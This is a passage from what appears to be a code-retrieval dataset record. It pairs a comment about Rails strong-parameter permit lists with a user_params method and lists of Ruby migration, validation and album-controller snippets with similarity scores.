false\n end", "def check_record; end", "def require_migration\n @required ||= require file_path\n\n return true if Object.const_defined?(migration_class_name)\n\n raise MigrationNotFoundError\n rescue LoadError => _e\n @load_error = true\n\n puts \"WARNING: Migration-File not found '#{file_path}'\"\n end", "def migration_exists?(dirname, file_name) #:nodoc:\n false\n end", "def check_schema_migrations\n return if column_family_exists?('schema_migrations')\n say 'Creating schema_migrations column family'\n DatastaxRails::Cql::CreateColumnFamily.new('schema_migrations').primary_key('cf')\n .columns(cf: :text, digest: :text, solrconfig: :text, stopwords: :text).execute\n end", "def test_change_column_null\n testing_table_with_only_foo_attribute do\n notnull_migration = Class.new(ActiveRecord::Migration::Current) do\n def change\n change_column_null :testings, :foo, false\n end\n end\n notnull_migration.new.suppress_messages do\n notnull_migration.migrate(:up)\n assert_equal false, connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n notnull_migration.migrate(:down)\n assert connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n end\n end\n end", "def check_if_deleted\n raise ActiveRecord::ReadOnlyRecord unless deleted?\n end", "def updatable?(database)\n result = true\n database.execute 'BEGIN'\n begin\n database.execute update_stmt\n rescue PG::UndefinedFile, PG::UndefinedObject, PG::ReadOnlySqlTransaction => err\n @error = err.message\n result = false\n end\n database.execute 'ROLLBACK'\n\n result\n end", "def run_before_migrate_setup\n Chef::Log.info 'No before migrate setup defined.'\n end", "def supports_create_table_if_not_exists?\n server_version >= 90100\n end", "def checkRetraitFail\n\n end", "def valid!\n raise ActiveRecord::RecordInvalid.new(self) if invalid?\n end", "def failed?\n self == Failed\n end", "def check\n if File.directory?(app_dir)\n engine_in_app = app_migrations.map do |file_name|\n name, engine = file_name.split('.', 2)\n next unless match_engine?(engine)\n\n name\n end.compact\n\n missing_migrations = engine_migrations.sort - engine_in_app.sort\n unless missing_migrations.empty?\n puts \"[#{engine_name.capitalize} WARNING] Missing migrations.\"\n missing_migrations.each do |migration|\n puts \"[#{engine_name.capitalize} WARNING] #{migration} from #{engine_name} is missing.\"\n end\n puts \"[#{engine_name.capitalize} WARNING] Run `bundle exec rake railties:install:migrations` to get them.\\n\\n\"\n true\n end\n end\n end", "def migration\n end", "def ensure_not_updating\n unless created_at.blank?\n errors.add(:base, \"RoleAssignments cannot be updated, only created or destroyed\")\n end\n end", "def handle_failed_rows?\n false\n end", "def expects_exception?; self.class.expects_exception; end", "def supports_create_table_if_not_exists?\n false\n end", "def test_database_checks()\n\t\tcurrentmode = File.stat(@databasefile).mode\n\t\tCfruby::FileOps.chmod(@databasefile, 0700)\n\t\tassert_not_equal(currentmode, File.stat(@databasefile).mode)\n\t\tassert_raise(Cfruby::Checksum::ChecksumPermissionError) {\n\t\t\t@checksum.update_all\n\t\t}\n\t\tCfruby::FileOps.chmod(@databasefile, 0600)\n\t\t\n\t\tif(Process.euid() == 0)\n\t\t\tassert_raise(Cfruby::Checksum::ChecksumOwnershipError) {\n\t\t\t\tCfruby::FileOps.chown(@databasefile, 200, 200)\n\t\t\t\t@checksum.update_all\n\t\t\t}\n\t\tend\n\tend", "def validate!\n raise ActiveRecord::RecordInvalid.new(self) unless valid?\n end", "def check_method_existance!\n return false if defined?(Rake) && Rake.application.top_level_tasks.include?(\"db:migrate\")\n\n nonexist_groups = self.groups.select do |group|\n !self.methods.include?(group)\n end\n\n nonexist_payload_columns = self.payload_columns.select do |col|\n !self.instance_methods.include?(col) and !self.column_names.include?(col)\n end\n\n raise \"Doesn't find group methods in #{self.name}:#{nonexist_groups.inspect}\" if nonexist_groups.present?\n raise \"Doesn't find payload column methods in #{self.name}:#{nonexist_payload_columns.inspect}\" if nonexist_payload_columns.present?\n end", "def failed?; state == 'failed'; end", "def failed?; state == 'failed'; end", "def failed?; failed_to_start? || (@success == false) end", "def failure?\n false\n end", "def check_execute\n unless executed?\n execute\n end\n end", "def migrations\n raise(ArgumentError, \"Can't set migrations while using :version option\") if @using_deprecated_version_setting\n yield\n end", "def run_migrate\n manage_py_execute('migrate', '--noinput') if new_resource.migrate\n end", "def check_if_admin\n if admin?\n errors.add(:admin, \"You can't delete admin users\")\n throw :abort # New in ActiveRecord 5\n return false\n end\n end", "def rollback_transaction?\n false\n end", "def raise_expected_version_error!\n self.raise_expected_version_error = true\n nil\n end", "def correctly_update_status\n\t\terrors.add(:base, 'La transaccion no fue exitosa') if self.invalid_status\n\tend", "def valid_database?\n @@valid_database ||= begin\n vm = VirtualMemory.load(:session, :database_setting, :YAML)\n\n @@valid_database = vm[:valid] || validate_database(vm)\n end\n end", "def failed?\n failed\n end", "def update_failed?\n @update_failed\n end", "def migration_exists?(table_name)\n Dir.glob(\"#{File.join(destination_root, migration_path)}/[0-9]*_*.rb\").grep(/\\d+_add_heimdallr_#{table_name}.rb$/).first\n end", "def check\n super\n uncommitted = Perforce.uncommitted_files\n fail \"Uncommitted files violate the First Principle Of Release!\\n#{uncommitted.join(\"\\n\")}\" unless uncommitted.empty?\n end", "def has_changes?\n @has_changed_the_db\n end", "def expects_statements?\n false\n end", "def expects_statements?\n false\n end", "def supports_ddl_transactions?\n false\n end", "def supports_ddl_transactions?\n false\n end", "def supports_ddl_transactions?\n false\n end", "def foreign_key_error?(exception)\n exception.message =~ /query does not return ResultSet/\n end", "def check_validity!\n # nothing\n end", "def create_migration\n if invoked_attributes.present?\n args = [\"create_#{plural_name}\"] + (invokable(invoked_attributes) | timestamps)\n args += [\"--database\", options['database']] if options['database']\n Rails::Generators.invoke('migration', args)\n return\n end\n\n return if with_resource_tenant do\n table_name = resource.klass.table_name\n\n if ActiveRecord::Base.connection.table_exists?(table_name)\n say_status(:error, \"#{table_name} table already exist. We can't migrate (yet). Exiting.\", :red)\n true\n end\n end\n\n if resource.model_attributes.blank?\n say_status(:error, \"No model attributes present. Please add the effective_resource do ... end block and try again\", :red)\n return\n end\n\n args = [\"create_#{plural_name}\"] + invokable(resource.model_attributes) - timestamps\n args += [\"--database\", options['database']] if options['database']\n\n if options['database'].blank? && defined?(Tenant)\n args += [\"--database\", resource.klass.name.split('::').first.downcase]\n end\n\n Rails::Generators.invoke('migration', args)\n end", "def call_setup\n setup if self.active?\n self.save!\n rescue StandardError => e\n logger.error(e.message)\n self.update_column(:active, false)\n raise\n end", "def execute\n begin\n return false unless check_guards\n execute_actions\n rollback_actions unless self.failed_action.nil?\n self.failed_action.nil?\n ensure\n self.save!\n end\n end", "def irreversible_migration\n current_instructions << Instructions::IrreversibleMigration.new\n end" ]
[ "0.7106798", "0.6724601", "0.6706887", "0.6706887", "0.6653206", "0.65198195", "0.65198195", "0.6516664", "0.6516664", "0.6516664", "0.6452443", "0.63467443", "0.631587", "0.6194073", "0.608931", "0.605167", "0.60339427", "0.599644", "0.59961903", "0.59688634", "0.5968473", "0.5954102", "0.59274685", "0.58895326", "0.5885462", "0.58622694", "0.58496445", "0.57934415", "0.5783677", "0.57502043", "0.57427573", "0.57425684", "0.57400596", "0.57129943", "0.56899405", "0.5687862", "0.56726885", "0.5670484", "0.5658556", "0.56388026", "0.5613245", "0.55697316", "0.5530693", "0.55299675", "0.5507305", "0.54883", "0.54713196", "0.546504", "0.5455995", "0.54529667", "0.54456145", "0.54329324", "0.5408775", "0.53989494", "0.539811", "0.53935355", "0.53862035", "0.5384137", "0.537392", "0.5372896", "0.5371307", "0.5364374", "0.5364095", "0.53543705", "0.5345876", "0.53428656", "0.53428286", "0.5340337", "0.53322935", "0.5326338", "0.5320762", "0.5299872", "0.5299019", "0.5299019", "0.5293567", "0.5289774", "0.52887535", "0.5286271", "0.52846324", "0.52699673", "0.5269254", "0.52687943", "0.52683175", "0.5266583", "0.5265116", "0.5260429", "0.5251986", "0.52496153", "0.52495134", "0.5248609", "0.5248609", "0.5244418", "0.5244418", "0.5244418", "0.52377504", "0.5237579", "0.5232599", "0.5232447", "0.52291447", "0.5224058" ]
0.7452502
0
Using a private method to encapsulate the permissible parameters is just a good pattern since you'll be able to reuse the same permit list between create and update. Also, you can specialize this method with peruser checking of permissible attributes.
def user_params params.require(:user).permit(:name, :first_name, :title, :current_location, :last_name, :email, :password, :password_confirmation, :type, :bio, :role, :role_id, :days, :headline, :avatar, :avatar_cache, :remove_avatar, :phone_number) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def permitted_params\n policy(resource || resource_class.new).send(\"permitted_#{action_name}_attributes\")\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def permitted_create_params\n fail NotImplementedError\n end", "def form_params\n # Remove role and privilege ids as these are managed by the app not by\n # the active record associations\n params[:user].delete :role_ids\n params[:user].delete :privilege_ids\n params.require(:user).permit(user_allowable_params)\n end", "def permitted_params\n res = attribute_names.map(&:to_sym) - %i[disabled user_id created_at updated_at tracker_id tracker_history_id\n admin_id]\n refine_permitted_params res\n end", "def strengthen_params!(method_name)\n permitting_model_name = self.class.instance_variable_defined?(:@permitting_model_name) && self.class.instance_variable_get(:@permitting_model_name)\n target_model_name = (permitting_model_name || self.class.name.sub(/.+::/, '').sub(/Controller$/, '')).singularize.underscore.tr('/', '_').to_sym\n permitted_attributes = self.class.instance_variable_defined?(:@permitted_attributes) && self.class.instance_variable_get(:@permitted_attributes)\n\n method_parameters = method(method_name).parameters\n method_parameters.each do |type, key|\n trimmed_key = key.to_s.sub(/_params\\z/, '').to_sym\n if (trimmed_key == target_model_name) && permitted_attributes\n params.require(trimmed_key) if %i[req keyreq].include?(type)\n params[trimmed_key] = params[trimmed_key].try :permit, *permitted_attributes if params.key? trimmed_key\n end\n end\n end", "def permit(*permitted)\n hardened_params = params.dup\n\n hardened_params.keep_if { |k, _v| permitted.flatten.include?(k.to_sym) }\n\n hardened_params.symbolize_keys\n end", "def permitted_params\n @implementation_class ||= implementation_class\n\n res = @implementation_class.permitted_params\n @implementation_class.refine_permitted_params res\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def permitted_update_params\n fail NotImplementedError\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def permitted?; end", "def permitted_params\n if is_singleton?\n singleton_permitted_params\n else\n params.require(:data).permit(allowed_resource_params.to_a)\n end\n end", "def permit(type,options={})\n raise NameError.new(\"duplicate ability definition\") if @ability.key? type\n ability_object = GraphQL::Authorization::AbilityType.new(type,nil,{})\n if options.key?(:except) && options.key?(:only)\n raise ArgumentError.new(\"you cannot specify white list and black list\")\n end\n if options[:except]\n ability_object.access(type.fields.keys.map(&:to_sym) - options[:except])\n elsif options[:only]\n ability_object.access(options[:only])\n end\n ability_object.execute options[:execute]\n if block_given?\n #note Proc.new creates a proc with the block given to the method\n ability_object.instance_eval(&Proc.new)\n end\n @ability[type] = ability_object\n end", "def set_permit\n @vehiclepermit = Permit.find(params[:id])\n authorize @vehiclepermit\n end", "def permit_attributes\n params.require(resource_as_param_key).permit(*permitted_attributes)\n end", "def set_permit\n @permit = Permit.find(params[:id])\n end", "def permitted_params\n \t@permitted_params ||= PermittedParams.new(params, current_user)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def request_permitted?(item)\n true\n end", "def permitted\n {attrib_name => spec.permitted}\n end", "def set_permit\n @permit = Permit.find(params[:id])\n end", "def create\n\n vehicle = Vehicle.find_by(license_number: permit_params[:vehicle_attributes][:license_number])\n if current_user.faculty?\n @vehiclepermit = current_user.vehiclepermit.build(permit_params.merge(date_entered: Date.today, \n entered_by: current_user.faculty.first_name + \" \" + current_user.faculty.last_name))\n @vehiclepermit.update(vehicle: vehicle)\n elsif current_user.student?\n @vehiclepermit = current_user.vehiclepermit.build(permit_params.merge(date_entered: Date.today,\n entered_by: current_user.student.first_name + \" \" + current_user.student.last_name))\n @vehiclepermit.update(vehicle: vehicle)\n end\n authorize @permit\n\n respond_to do |format|\n if @vehiclepermit.save\n format.html { redirect_to @vehiclepermit, notice: 'Permit was successfully created.' }\n format.json { render :show, status: :created, location: @vehiclepermit }\n else\n format.html { render :new }\n format.json { render json: @vehiclepermit.errors, status: :unprocessable_entity }\n end\n end\n end", "def analise_privacidade_params\n #params.require(:analise_privacidade).permit(:rede_social, :url_rede_social, :descricao_analise, tipo_coumunicacoes_attributes: [:id, :tipo_comunicacao, :observacao])\n \n \n params.require(:analise_privacidade).permit!\n \n \n \n \n \n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def user_params\n params.require(:user).permit(policy(@user || User).permitted_attributes)\n end", "def user_params\n params.require(:user).permit(policy(@user || User).permitted_attributes)\n end", "def formulary_params\n allow = [:responsable_llenado,:cod01,:cod02,:ape01,:ape04,:ape07,:ape02,:ape05,:ape03,:ape06,:api01,:api04,:api02,:ssb01,:api03,:cao01,:cao04,:cao07,:cao10,:tit01,:cao02,:cao05,:cao08,:cao11,:cao03,:cao06,:cao09,:cao12,:uni01,:uni02,:uni03,:ben01,:ben02,:per01,:per02,:user_id]\n params.require(:formulary).permit(allow)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def permitted_params\n @permitted_params ||= PermittedParams.new(params, current_user)\n end", "def permitted_params\n\n \n if action_name.to_s == \"update\" && !current_signed_in_resource.is_admin?\n\n \n params.permit({cart_item: [:discount_code,:quantity]},:id)\n\n elsif action_name.to_s == \"create_multiple\"\n params.permit({discount: [:id, {:product_ids => []}]})\n else\n\n params.permit({cart_item: [:product_id,:discount_code,:quantity]},:id)\n\n end\n\n\n end", "def permitted_params(action, kind=nil)\n params.require(model_name).permit!\n end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def form_params\n params.require(:funding_request).permit(FundingRequest.allowable_params)\n end", "def expected_permitted_parameter_names; end", "def permission_policy_params\n params.require(:permission_policy).permit(:name, :io1, :io2, :io3, :io4)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def access_control_params\n params.require(:access_control).permit(:uuid, :role_id, :ability_to_create_stream, :ability_to_create_discussion, :ability_to_comment, :ability_to_create_question, :ability_to_create_answer, :ability_to_administrate)\n end", "def params_not_permitted\n logger.warn('exception: params not permitted')\n render plain: \"403 ForbiddEn\", status: 403\n end", "def borrowership_params\n params\n .require(:borrowership)\n .permit(*policy(@borrowership || Borrowership.new).permitted_attributes)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def allowed_attributes=(_arg0); end", "def allowed_attributes=(_arg0); end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def unpermitted_parameters\n fail 'Define me!'\n end", "def allowed_params\n ALLOWED_PARAMS\n end", "def user_params\n params.require(:user).permit(*policy(@user || User).permitted_attributes)\n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def user_params\n params.require(:user).permit(current_ability.permitted_attributes(:manage, @user))\n end", "def vip_privilege_params\n params[:vip_privilege].permit!\n end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def is_permitted_for?( user )\n ( user.id == self.user.id ) or ( user.privileged? )\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def permitted_params_from_policy(object_or_class, key)\n _params = permitted_params[key]\n _attributes = policy(object_or_class).permitted_attributes\n ::ActionController::Parameters.new(_params).permit(*_attributes)\n end", "def user_params\n params.permit(User::UPDATABLE_ATTRIBUTES)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def users_params\n\t\tparams.require(:user).permit(User::PERMIT_ATTRIBUTES)\n\tend", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def tam_policy_params\n params.require(:tam_policy).permit(TamPolicy.allowable_params)\n end", "def permit(*keys)\n select { |key, _| keys.include?(key) }\n end", "def post_card_params\n params[:post_card].permit!\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def create_permitted?\n acting_user.administrator?\n end", "def create_permitted?\n acting_user.administrator?\n end", "def create_permitted?\n acting_user.administrator?\n end", "def create_permitted?\n acting_user.administrator?\n end", "def privilege_params\n params.require(:privilege).permit(:qDrive, :addSong, :editSong, :deleteSong, :grantPermission, :addUser, :editUser, :deleteUser)\n end", "def permit_params_on_create *keys\n filter_strong_params :permit, [:create], keys\n end", "def user_params\n allowed_params = [:username, :email, :jabber_id, :jabber_otr_fingerprint, :avatar]\n allowed_params << [:password, :password_confirmation] unless params[:user][:password].blank?\n allowed_params << [:role] if current_user.moderator_or_admin?\n allowed_params << [:tenant_ids => []] if current_user.admin?\n allowed_params << [:user_ids => []] if current_user.moderator_or_admin?\n params.require(:user).permit(allowed_params)\n end", "def permitted=(_arg0); end", "def safe_params\n safe_attributes = %i[name key]\n params.require(:role).permit(safe_attributes)\n end", "def param_whitelist\n [:role, :title]\n end", "def allow_params_authentication!; end", "def defect_params\n params.require(:defect).permit(Defect.allowable_params)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def object_params\n params.require(resource.name.underscore.to_sym)\n .permit(resource_params)\n end", "def resource_params\n # TODO DANGER!\n params.require(@resource_class.name.underscore.to_sym).permit!\n end", "def resource_params\n deserialized_params.permit!\n end", "def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end", "def update_params\n params.require(:permission_template)\n .permit(:release_date, :release_period, :release_varies, :release_embargo,\n :visibility, :workflow_id, :metadata_context_id,\n access_grants_attributes: %i[access agent_id agent_type id])\n end", "def resource_params\n params.require(resource_name).permit(*permitted_params)\n end", "def permition_params\n params.require(:permition).permit(:act, :information_system_id, :parameter)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def resource_params\n permition = @klazz.attribute_names - [:created_at, :updated_at]\n @metadata.items.each do |entity|\n permition << {\"many_#{entity.name}_attributes\".to_sym =>\n [:id] + entity.many_field.map{|field| field.name.to_sym} - [:created_at, :updated_at]}\n end\n params.require(@resource_sym).permit(*permition)\n end", "def update_permitted?\n\t\tacting_user.administrator?\n\tend", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def allowed?\n raise NotImplementedError, 'please implement #allowed? '\\\n \"for #{self.class.name} which should decide if the action is allowed, \"\\\n 'based on the given attributes'\n end", "def permit?(action)\n case action\n # -- list\n when :list\n permit?(:list_cases)\n\n # -- create\n when :create\n source? && @settings.working_hours?\n when :create_assignment\n agent? || enroller? || governor?\n when :create_note\n agent? || enroller?\n\n # -- edit\n when :edit\n agent? || governor? || enroller?\n when :edit_address\n agent? || source?\n when :edit_contact\n agent? || source?\n when :edit_address_geography\n source?\n when :edit_household\n agent? || governor? || permit?(:edit_household_source)\n when :edit_household_source\n permit?(:edit_household_ownership) || permit?(:edit_household_proof_of_income)\n when :edit_household_size\n agent? || governor?\n when :edit_household_ownership\n (agent? || source?) && requirement?(R::HouseholdOwnership)\n when :edit_household_proof_of_income\n (agent? || source?) && !requirement?(R::HouseholdProofOfIncomeDhs)\n when :edit_household_dhs_number\n (agent? || governor?) && proof_of_income?(P::Dhs)\n when :edit_household_size\n agent? || governor?\n when :edit_household_income\n (agent? || governor?) && proof_of_income?(P::Dhs)\n when :edit_supplier_account\n (agent? || source?) && requirement?(R::SupplierAccountPresent)\n when :edit_supplier\n agent? || (source? && !supplier?)\n when :edit_supplier_account_active_service\n agent? && requirement?(R::SupplierAccountActiveService)\n when :edit_food\n (source? || agent?) && requirement?(R::FoodDietaryRestrictions)\n when :edit_benefit\n agent? || enroller?\n when :edit_benefit_amount\n (agent? || enroller?)\n when :edit_benefit_contract\n (agent?) && requirement?(R::ContractPresent)\n when :edit_documents\n agent?\n when :edit_admin\n agent?\n\n # -- view\n when :view\n agent? || source? || enroller?\n when :view_details\n permit?(:view)\n when :view_details_status\n agent? || enroller?\n when :view_details_enroller\n agent?\n when :view_supplier_account\n permit?(:view) && requirement?(R::SupplierAccountPresent)\n when :view_food\n permit?(:view) && requirement?(R::FoodDietaryRestrictions)\n when :view_household_size\n (agent? || enroller?)\n when :view_household_ownership\n permit?(:view) && requirement?(R::HouseholdOwnership)\n when :view_household_proof_of_income\n (agent? || enroller?) && !requirement?(R::HouseholdProofOfIncomeDhs)\n when :view_household_dhs_number\n (agent? || enroller?) && proof_of_income?(P::Dhs)\n when :view_household_income\n (agent? || enroller?) && proof_of_income?(P::Dhs)\n when :view_supplier_account_active_service\n (agent? || enroller?) && requirement?(R::SupplierAccountActiveService)\n\n # -- actions\n when :convert\n agent?\n when :referral\n agent?\n when :complete\n agent? || enroller?\n\n # -- destroy\n when :destroy\n agent?\n when :destroy_assignment\n agent?\n\n # -- archive\n when :archive\n agent?\n else\n super\n end\n end", "def ability_params\n params.require(:ability).permit(:child_id, :skill_id, :status)\n end", "def permitUser\n @member_permitted_name=Member.where(:id=>params[:id]).first.first_name\n Member.update(params[:id], :permitted => 1)\n flash[:notice] = \"User #{@member_permitted_name} allowed to book multiple rooms\"\n redirect_to(:action => 'index' )\n end", "def setting_attribute_is_allowed?(name, user)\n return false unless user.can_write?(self, name)\n (self.whitelisted_attributes && self.whitelisted_attributes.has_key?( name.to_sym)) ||\n (\n self.attribute_names.include?( name.to_s ) &&\n ( self.blacklisted_attributes.nil? ||\n ! self.blacklisted_attributes.has_key?( name.to_sym ) )\n )\n end", "def permitted_params\n []\n end", "def update_sanitized_params\n\t\t\tif \"#{resource_name}\" == \"lecturer\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department,\n\t\t\t\t\t\t:profile_image, :profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"student\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|student| student.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|student| student.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"teaching_assistant\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:email, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:current_password, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\tend\n\t\tend", "def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end" ]
[ "0.70220745", "0.70117974", "0.684321", "0.68110925", "0.6693265", "0.66887414", "0.66836554", "0.66696244", "0.6636198", "0.661805", "0.661596", "0.660481", "0.65912217", "0.657594", "0.65718645", "0.65321547", "0.6526882", "0.65241146", "0.6517794", "0.6509739", "0.6472306", "0.64714646", "0.64537567", "0.6430647", "0.642651", "0.64191794", "0.6389212", "0.6389212", "0.63701594", "0.6362278", "0.6362278", "0.63560236", "0.6351927", "0.635117", "0.63416225", "0.6333621", "0.63275427", "0.6313294", "0.6304904", "0.63024443", "0.6298929", "0.62829435", "0.6275209", "0.62712204", "0.626889", "0.62381303", "0.6235317", "0.6230829", "0.6230829", "0.6227203", "0.62155193", "0.621547", "0.6198593", "0.6198003", "0.619755", "0.61954963", "0.61925805", "0.6180566", "0.61797696", "0.6162378", "0.61527246", "0.6151952", "0.6146339", "0.61407936", "0.61299014", "0.61290556", "0.61273694", "0.6117259", "0.6111965", "0.61085504", "0.61085504", "0.61085504", "0.61085504", "0.61048436", "0.61026067", "0.6088726", "0.6086806", "0.6079579", "0.60749304", "0.6073489", "0.60642135", "0.6063723", "0.6051111", "0.6044504", "0.60299784", "0.6019351", "0.60138625", "0.6008149", "0.59994996", "0.59833646", "0.59775144", "0.5969341", "0.59687996", "0.59679055", "0.5966515", "0.59655106", "0.59602684", "0.5958755", "0.5956758", "0.5954898", "0.5952584" ]
0.0
-1
GET /albums GET /albums.json
def index @albums = Album.where("kind NOT IN ('status', 'default', 'cover', 'profile')").paginate(page: params[:page], :per_page => 30) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @albums = Album.all\n render json: @albums\n end", "def albums\n if params[:artist_id]\n albums = Artist.find(params[:artist_id]).albums\n else\n albums = Album.all\n end\n render json: albums\n end", "def get_albums(url)\n # should return albums\n # List of Hashes\n \n # must implement \n # - custom site parser\n end", "def album\n album = Album.find(params[:id])\n render json: album\n end", "def get_album album_id\n get(\"/albums/#{album_id}\")\n end", "def index\n @albums = @user.albums\n end", "def artist_albums(artist, options = {})\n get \"artists/#{artist}/albums\", options\n end", "def index\n @albums = Album.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @albums }\n end\n end", "def albums(options={})\n call_pageable('library.getalbums', :albums, Album, {:user => @user.name}.merge(options))\n end", "def get_albums(person_id, params={})\n @restv9.get_albums(person_id,params)\n end", "def show\n @albums = Artist.find(params[\"id\"]).albums\n end", "def albums\n @albums ||= response.albums.uniq(&:name)\n end", "def show\n @album = Album.find(params[:id])\n @albums_count = Album.count\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @album }\n end\n end", "def index\n @albums = current_user.albums\n end", "def index\n\t\t@albums = Album.all\n\tend", "def index\n @albums = 